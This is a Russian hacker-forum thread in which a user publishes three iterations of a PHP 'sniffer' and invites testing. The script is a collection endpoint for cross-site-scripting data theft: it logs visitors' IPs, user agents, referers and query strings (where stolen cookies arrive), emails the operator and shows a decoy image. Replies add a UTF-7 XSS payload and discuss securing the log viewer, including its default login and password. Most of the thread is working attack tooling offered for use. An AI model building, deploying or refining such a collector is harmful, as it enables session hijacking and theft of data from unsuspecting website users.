PDA

Просмотр полной версии : ProTeam Sniffer by Developer aka RUSH


Developer
07.05.2006, 23:17
Вот, наконец-то я решил взяться за написание хорошего сниффера. Написал первую версия и вот, выкладываю ее на обозрение.

<?php

// Конфигурация
$config['file'] = "sniffer.txt"; // Файл, куда будет писаться или считываться информация.
$config['img'] = "sniffer.gif"; // Путь к изображению для показа относительно самого сниффера. Чтобы отключить эту функцию - впишите 0.
$config['email'] = "MyMail@mail.ru"; // E-Mail для отправки уведомлений. Чтобы отключить эту функцию - впишите 0.
$config['from'] = "Sniffer@example.com"; // Адрес, с которого будут отправляться уведомления.
$config['name'] = "Sniffer: new query"; // Тема письма.
$config['new'] = "New query at"; // Фраза, вставляемая перед временем запроса.

// Подавляем вывод ошибок
error_reporting(0);

function index()
{
global $config;
// Проверки на несуществующие или пустые индексы
if (empty($_SERVER['HTTP_X_FORWARDED_FOR']) || $_SERVER['HTTP_X_FORWARDED_FOR'] == "unknown") {
$_SERVER['HTTP_X_FORWARDED_FOR'] = "Hide";
}
if (empty($_SERVER['QUERY_STRING'])) {
$_SERVER['QUERY_STRING'] = "None";
}
if (empty($_SERVER['HTTP_REFERER'])) {
$_SERVER['HTTP_REFERER'] = "Hide";
}
// Создание массива
$info['date'] = date("d.m.Y H:i:s");
$info['proxy_ip'] = $_SERVER['REMOTE_ADDR'];
$info['line_ip'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
$info['referer'] = $_SERVER['HTTP_REFERER'];
$info['agent'] = $_SERVER['HTTP_USER_AGENT'];
$info['query'] = urldecode($_SERVER['QUERY_STRING']);
// Создание строки
$string = $info['date']."||".$info['proxy_ip']."||".$info['line_ip']."||".$info['referer']."||".$info['agent']."||".$info['query']."\n";
// Запись строки в файл
$link = fopen($config['file'], "a");
fwrite($link, $string);
fclose($link);
unset($string, $link);
// Отправка уведомления на E-Mail
if (!empty($config['email'])) {
$script = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
$text = $config['new']." ".$info['date']."\r\n".$script;
mail($config['email'], $config['name'], $text, "From: ".$config['from']."\r\n");
unset($script, $text);
}
unset($info);
// Вывод изображения
if (!empty($config['img'])) {
$image = file_get_contents($config['img']);
header("Content-type: image/gif");
header("Content-length: ".strlen($image));
echo $image;
unset($image);
}
}

function view() {
global $config;
$file = file($config['file']);
foreach ($file as $string)
{
$array = explode("||", $string);
foreach ($array as $value)
{
echo $value."<br />\n";
}
echo "<hr />\n";
}
}

if (empty($_GET['mode'])) {
$_GET['mode'] = "index";
}

switch ($_GET['mode'])
{
case "view":
view();
break;
default:
index();
break;
}

?>

Сниффер может посылать уведомление на e-mail, показывать картинку, записывать данные в файл и выводить их.

В ближайшее время планируется релиз версии 1.1, 1.2 и 2.0.

В версии 1.1 будет переработана система вывода запросов - будет разработан дизайн.
В версии 1.2 будет возможность очищать лог сниффера прямой из веб-интерфейса.
И самая крутая фишка, которая нас ожидает в версии 2.0 - при поступлении запроса, сниффер будет мгновенно отправлять сообщение на ICQ (Я думаю у настоящего хакера эта тузла включена постоянно).

А сейчас вы можете потестить первую версию и выложить свои мысли по ней :))) Да прибудет с тобой сила, тестер!

Developer
07.05.2006, 23:19
Забыл добавить - чтобы посмотреть лог сниффера запустите скрипт с параметром "mode=view".

Developer
07.05.2006, 23:22
Так же ваши мысли можете убить в моей репутации *расчитывает на хорошие* :))) Хотя, если мысли плохие - убейте их в том же йогурте!

Developer
08.05.2006, 14:49
Свет увидела новая версия моего сниффера :))) Продолжаем отлавливать баги:

<?php

// Конфигурация
$config['login'] = "login"; // Логин для входа
$config['password'] = "password"; // Пароль для входа
$config['file'] = "sniffer.txt"; // Файл, куда будет писаться или считываться информация.
$config['img'] = "sniffer.gif"; // Путь к изображению для показа относительно самого сниффера. Чтобы отключить эту функцию - впишите 0.
$config['email'] = "MyMail@mail.ru"; // E-Mail для отправки уведомлений. Чтобы отключить эту функцию - впишите 0.
$config['from'] = "Sniffer@example.com"; // Адрес, с которого будут отправляться уведомления.
$config['name'] = "Sniffer: new query"; // Тема письма.
$config['new'] = "New query at"; // Фраза, вставляемая перед временем запроса.

error_reporting(0);

function auth() {
header('WWW-Authenticate: Basic realm="ProTeam Sniffer"');
header('HTTP/1.0 401 Unauthorized');
die("<br /><br /><div align=\"center\"><b>Не правильный логин или пароль!</b></div>");
}

function index()
{
global $config;
if (empty($_SERVER['HTTP_X_FORWARDED_FOR']) || $_SERVER['HTTP_X_FORWARDED_FOR'] == "unknown") {
$_SERVER['HTTP_X_FORWARDED_FOR'] = "Hide";
}
if (empty($_SERVER['QUERY_STRING'])) {
$_SERVER['QUERY_STRING'] = "None";
}
if (empty($_SERVER['HTTP_REFERER'])) {
$_SERVER['HTTP_REFERER'] = "Hide";
}
$info['date'] = date("d.m.Y H:i:s");
$info['proxy_ip'] = $_SERVER['REMOTE_ADDR'];
$info['line_ip'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
$info['referer'] = $_SERVER['HTTP_REFERER'];
$info['agent'] = $_SERVER['HTTP_USER_AGENT'];
$info['query'] = urldecode($_SERVER['QUERY_STRING']);
$string = $info['date']."||".$info['proxy_ip']."||".$info['line_ip']."||".$info['referer']."||".$info['agent']."||".$info['query']."\n";
$link = fopen($config['file'], "a");
fwrite($link, $string);
fclose($link);
unset($string, $link);
if (!empty($config['email'])) {
$script = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
$text = $config['new']." ".$info['date']."\r\n".$script;
mail($config['email'], $config['name'], $text, "From: ".$config['from']."\r\n");
unset($script, $text);
}
unset($info);
if (!empty($config['img'])) {
$image = file_get_contents($config['img']);
header("Content-type: image/gif");
header("Content-length: ".strlen($image));
echo $image;
unset($image);
}
}

function view()
{
global $config;
$file = file($config['file']);
if (empty($file[0])) {
echo "<br />\n";
echo "<br />\n";
echo "<br />\n";
echo "<div align=\"center\"><h3>Запросы отсутствуют.</h3></div>";
exit;
}
krsort($file);
$file_count = count($file);
echo "<form name=\"delete\" action=\"".$_SERVER['PHP_SELF']."?mode=delete\" method=\"post\">\n";
for ($c = 0; $c < $file_count; $c++)
{
$array = explode("||", $file[$c]);
if (strpos($array[5], "&")) {
$query = explode("&", $array[5]);
$count = count($query);
$prev = $count - 1;
$array[5] = "";
for ($i = 0; $i < $count; $i++)
{
$array[5] .= $query[$i];
if ($i != $prev) {
$array[5] .= " <b>//</b> ";
}
}
unset($query, $count, $prev);
}
$str_num = $file_count - $c;
echo "<fieldset>";
echo "<table width=\"100%\" border=\"0\">\n";
echo "<tr>\n";
echo "<td>Дата:</td>\n";
echo "<td>".$array[0]."</td>\n";
echo "<td rowspan=\"6\"><input id=\"del\" name=\"box-".$str_num."\" type=\"checkbox\" value=\"del-".$str_num."\"></td></tr>\n";
echo "<tr>\n";
echo "<td>IP-адрес (Proxy):</td>\n";
echo "<td>".$array[1]."</td></tr>\n";
echo "<tr>\n";
echo "<td>IP-адрес (Прямой):</td>\n";
echo "<td>".$array[2]."</td></tr>\n";
echo "<tr>\n";
echo "<td>Реферер:</td>\n";
echo "<td>".$array[3]."</td></tr>\n";
echo "<tr>\n";
echo "<td>Браузер:</td>\n";
echo "<td>".$array[4]."</td></tr>\n";
echo "<tr>\n";
echo "<td>Запрос:</td>\n";
echo "<td>".rtrim($array[5])."</td></tr>\n";
echo "</table>\n";
echo "</fieldset>\n";
echo "<br />\n";
}
echo "<table width=\"100%\" border=\"0\">\n";
echo "<tr>\n";
echo "<td align=\"right\"><input type=\"submit\" value=\"Удалить отмеченные\"></td></tr>\n";
echo "</table>\n";
echo "</form>\n";
unset($file, $file_count, $array);
}

function del()
{
global $config;
$file = file($config['file']);
foreach ($_POST as $string)
{
$array = explode("-", $string);
if ($array[0] == "del") {
unset($file[$array[1] - 1]);
}
}
unset($array);
$string = "";
foreach ($file as $str)
{
$string .= $str;
}
$link = fopen($config['file'], "w");
fwrite($link, $string);
fclose($link);
header("Location: ".$_SERVER['PHP_SELF']."?mode=view");
}

if (empty($_GET['mode'])) {
$_GET['mode'] = "index";
} else {
if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW'])) auth();
if (!($_SERVER['PHP_AUTH_USER'] == $config['login'] && $_SERVER['PHP_AUTH_PW'] == $config['password'])) auth();
}

switch ($_GET['mode'])
{
case "view":
view();
break;
case "delete":
del();
break;
default:
index();
break;
}

?>

Developer
08.05.2006, 14:55
Краткий список возможностей:

+ Вывод картинки в буфер
+ Запись всех данных, которые возможно получить
+ Обработка запроса и вывод "В красивом виде" (Запрос разделяется через &)
+ Возможность поставить логин/пароль для просмотра лога через веб-интерфейс
+ Удаление записей прямо из веб-интерфейса
+ Посылка уведомлений на e-mail (Хорошо использовать в связке с Mail-Agent)
+ Небольшой размер
+ Не напрягающий глаз интерфейс
+ Все в одном файле

Trinux
08.05.2006, 20:09
а дай какие-нить превью чтоли. а то уж больно впадлу у себя тестить =) или хотя бы скрины какие

Developer
08.05.2006, 20:18
http://proteam.com.ru/image.gif - Снифер
http://proteam.com.ru/sniffer.php - Снифер

http://proteam.com.ru/sniffer.php?mode=view - Админка (Логин: login // Пароль: password)

ЗЫ: Думаю ставить навороты, как в снифере каньяка или нет. Вроде бы зачем хакеру всякие дизайны, фильтры и т.д. чтобы прочитать одну строчку с запросом - а с другой стороны ХЗ. Вот, хочу ICQ чтоыб отправляло, это да :)

hidden
10.05.2006, 01:10
Прикольный снифер, но рас ты решил сделать вэб интерфейс, то хоть какие небудь фильтры поставь

$query =~ s/</&lt;/g; # это правдо на перле

ато я зашол посмотрель лог изнутри, а там скриптов море, хорошо что они у меня отключены.

Developer
10.05.2006, 15:34
hidden, да уж... Не пропалил я возможность вставки скриптов в лог :))) В общем, решение:

$string = $info['date']."||".$info['proxy_ip']."||".$info['line_ip']."||".$info['referer']."||".$info['agent']."||".$info['query']."\n";

Меняем на:

$string = htmlspecialchars($info['date']."||".$info['proxy_ip']."||".$info['line_ip']."||".$info['referer']."||".$info['agent']."||".$info['query']."\n");

Developer
10.05.2006, 15:43
Всем, кто будет находить баги, буду ставить + :)

hidden
10.05.2006, 16:57
+ADw-script+AD4-tx+AD0-/xss/+ADs-alert(tx.source)+ADsAPA-/script+AD4-
Это может сработать, если русский уберешь.
http://antichat.ru/txt/utf7/

Developer
10.05.2006, 17:01
hidden, как понять??? Как защититься от этого, что фильтровать? Первый раз вижу такой метод взлома :)))

Developer
10.05.2006, 17:03
Кстати, может кто подскажет, как сделать, чтобы при нажатии на кнопку отмечались все чекбоксы на странице (JavaScript).

ferryman
10.05.2006, 18:11
Держи

function check_msg(obj,val)
{
var obj_len=obj.length;
for (i=0; i<obj_len; i++) {
if(obj.elements[i].type=='checkbox') {
obj.elements[i].checked=val;
}
}
}

<input name=set type=checkbox onClick="check_msg(this.form,this.checked);" style="cursor:hand;width:8pt" title="Отметить все">
while(array){
<input name="uid[]" type=checkbox value="" style="cursor:hand;width:8pt">
}

Developer
10.05.2006, 21:04
Хм, спасибо, попробую...

hidden
10.05.2006, 22:48
hidden, как понять??? Как защититься от этого, что фильтровать? Первый раз вижу такой метод взлома ))
Если спрашуешь значит статью (http://antichat.ru/txt/utf7/) Algolа не прочитал.

Developer
12.05.2006, 18:32
Сниффер был немного доработан и добавлена функция "Удалить все", но пока что она никому не доступна :)))

Исходники выложу, когда сниффер пройдет тестирование. Итак, хакеры, GO ломать сниффер :)))
http://proteam.com.ru/sniffer.php
http://proteam.com.ru/sniffer.php?mode=view [ Login: login // Password: password ]

Developer
12.05.2006, 21:25
Я думаю, что с исходниками баг найти будет намного легче :))) Итак, самая последняя версия сниффера:

<?php

// Конфигурация
$config['login'] = "login"; // Логин для входа
$config['password'] = "password"; // Пароль для входа
$config['file'] = "sniffer.txt"; // Файл, куда будет писаться или считываться информация.
$config['img'] = "sniffer.gif"; // Путь к изображению для показа относительно самого сниффера. Чтобы отключить эту функцию - впишите 0.
//$config['email'] = "MyMail@mail.ru"; // E-Mail для отправки уведомлений. Чтобы отключить эту функцию - впишите 0.
$config['from'] = "Sniffer@proteam.com.ru"; // Адрес, с которого будут отправляться уведомления.
$config['name'] = "Sniffer: new query"; // Тема письма.
$config['new'] = "New query at"; // Фраза, вставляемая перед временем запроса.

error_reporting(0);

function auth() {
header('WWW-Authenticate: Basic realm="ProTeam Sniffer"');
header('HTTP/1.0 401 Unauthorized');
die("<br /><br /><div align=\"center\"><b>Не правильный логин или пароль!</b></div>");
}

function index()
{
global $config;
if (empty($_SERVER['HTTP_X_FORWARDED_FOR']) || $_SERVER['HTTP_X_FORWARDED_FOR'] == "unknown") {
$_SERVER['HTTP_X_FORWARDED_FOR'] = "Hide";
}
if (empty($_SERVER['HTTP_REFERER'])) {
$_SERVER['HTTP_REFERER'] = "Hide";
}
if (empty($_SERVER['USER_AGENT'])) {
$_SERVER['USER_AGENT'] = "Hide";
}
if (empty($_SERVER['QUERY_STRING'])) {
$_SERVER['QUERY_STRING'] = "None";
}
$info['date'] = date("d.m.Y H:i:s");
$info['proxy_ip'] = $_SERVER['REMOTE_ADDR'];
$info['line_ip'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
$info['referer'] = $_SERVER['HTTP_REFERER'];
$info['agent'] = $_SERVER['HTTP_USER_AGENT'];
$info['query'] = urldecode($_SERVER['QUERY_STRING']);
$string = htmlspecialchars($info['date']."||".$info['proxy_ip']."||".$info['line_ip']."||".$info['referer']."||".$info['agent']."||".$info['query']."||\n");
$link = fopen($config['file'], "a");
flock($link, LOCK_EX);
fwrite($link, $string);
flock($link, LOCK_UN);
fclose($link);
unset($string, $link);
if (!empty($config['email'])) {
$script = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
$text = $config['new']." ".$info['date']."\r\n".$script;
mail($config['email'], $config['name'], $text, "From: ".$config['from']."\r\n");
unset($script, $text);
}
unset($info);
if (!empty($config['img'])) {
$image = file_get_contents($config['img']);
header("Content-type: image/gif");
echo $image;
unset($image);
}
}

function view()
{
global $config;
echo "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">\n";
echo "<html>\n";
echo "<head>\n";
echo "<meta http-equiv=\"content-type\" content=\"text/html; charset=windows-1251\">\n";
echo "<meta http-equiv=\"expires\" content=\"0\">\n";
echo "<title>ProTeam Sniffer</title>\n";
echo "</head>\n";
echo "<body>\n";
$file = file($config['file']);
if (empty($file[0])) {
echo "<br />\n";
echo "<br />\n";
echo "<br />\n";
echo "<div align=\"center\"><h3>Запросы отсутствуют.</h3></div>\n";
echo "</body>\n";
echo "</html>";
exit;
}
$file_count = count($file);
echo "<form name=\"delete\" action=\"".$_SERVER['PHP_SELF']."?mode=delete\" method=\"post\">\n";
for ($c = 0; $c < $file_count; $c++)
{
$str_num = $file_count - $c;
$array = explode("||", $file[$str_num - 1]);
$array[6] = str_replace(";", "<br />\n", $array[6]);
echo "<fieldset>";
echo "<table width=\"100%\" border=\"0\">\n";
echo "<tr>\n";
echo "<td width=\"175\">Дата:</td>\n";
echo "<td>".$array[0]."</td>\n";
echo "<td rowspan=\"7\" width=\"20\" align=\"right\"><input name=\"del\" type=\"checkbox\" value=\"del-".$str_num."\"></td></tr>\n";
echo "<tr>\n";
echo "<td>IP-адрес (Proxy):</td>\n";
echo "<td>".$array[1]."</td></tr>\n";
echo "<tr>\n";
echo "<td>IP-адрес (Прямой):</td>\n";
echo "<td>".$array[2]."</td></tr>\n";
echo "<tr>\n";
echo "<td>Реферер:</td>\n";
echo "<td>".$array[3]."</td></tr>\n";
echo "<tr>\n";
echo "<td>Браузер:</td>\n";
echo "<td>".$array[4]."</td></tr>\n";
echo "<tr>\n";
echo "<td>Запрос:</td>\n";
echo "<td>".$array[5]."</td></tr>\n";
echo "</table>\n";
echo "</fieldset>\n";
echo "<br />\n";
}
echo "<table width=\"100%\" border=\"0\">\n";
echo "<tr>\n";
echo "<td align=\"right\"><input type=\"submit\" value=\"Удалить отмеченные\"></td></tr>\n";
echo "</table>\n";
echo "</form>\n";
echo "</body>\n";
echo "</html>";
unset($file, $file_count, $str_num, $array);
}

function del()
{
global $config;
if (!empty($_GET['all']) && $_GET['all'] == 1) {
$link = fopen($config['file'], "w");
fclose($link);
} else {
$file = file($config['file']);
foreach ($_POST as $string)
{
$array = explode("-", $string);
if ($array[0] == "del") {
unset($file[$array[1] - 1]);
}
}
unset($array);
$string = "";
foreach ($file as $str)
{
$string .= $str;
}
$link = fopen($config['file'], "w");
flock($link, LOCK_EX);
fwrite($link, $string);
flock($link, LOCK_UN);
fclose($link);
unset($file, $string);
}
unset($link);
header("Location: ".$_SERVER['PHP_SELF']."?mode=view");
}

if (empty($_GET['mode'])) {
$_GET['mode'] = "index";
} else {
if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW'])) auth();
if (!($_SERVER['PHP_AUTH_USER'] == $config['login'] && $_SERVER['PHP_AUTH_PW'] == $config['password'])) auth();
}

switch ($_GET['mode'])
{
case "view":
view();
break;
case "delete":
del();
break;
default:
index();
break;
}

?>

Ваши замечания, предложения, идеи прошу выкладывать в этом топике, за дельные посты буду ставить + :)))

hidden
13.05.2006, 07:59
Больше ничего найти не смог, кроме что только файл (http://proteam.com.ru/sniffer.txt) лучше распологать в недоступном дня вэба месте, но я думаю он там только на время тестирования, хотя кто может узнать его имя.

hidden
13.05.2006, 08:36
Может не самое подходящее место, но ты говорил про отсылку сообщений на Icq, не поденишся скриптом или хотябы источником, как это делать?

Developer
13.05.2006, 17:47
hidden, пробовал - пока результат ноль. Даже брал скрипты готовые - и те не работают :((( А раньше все на отлично работало.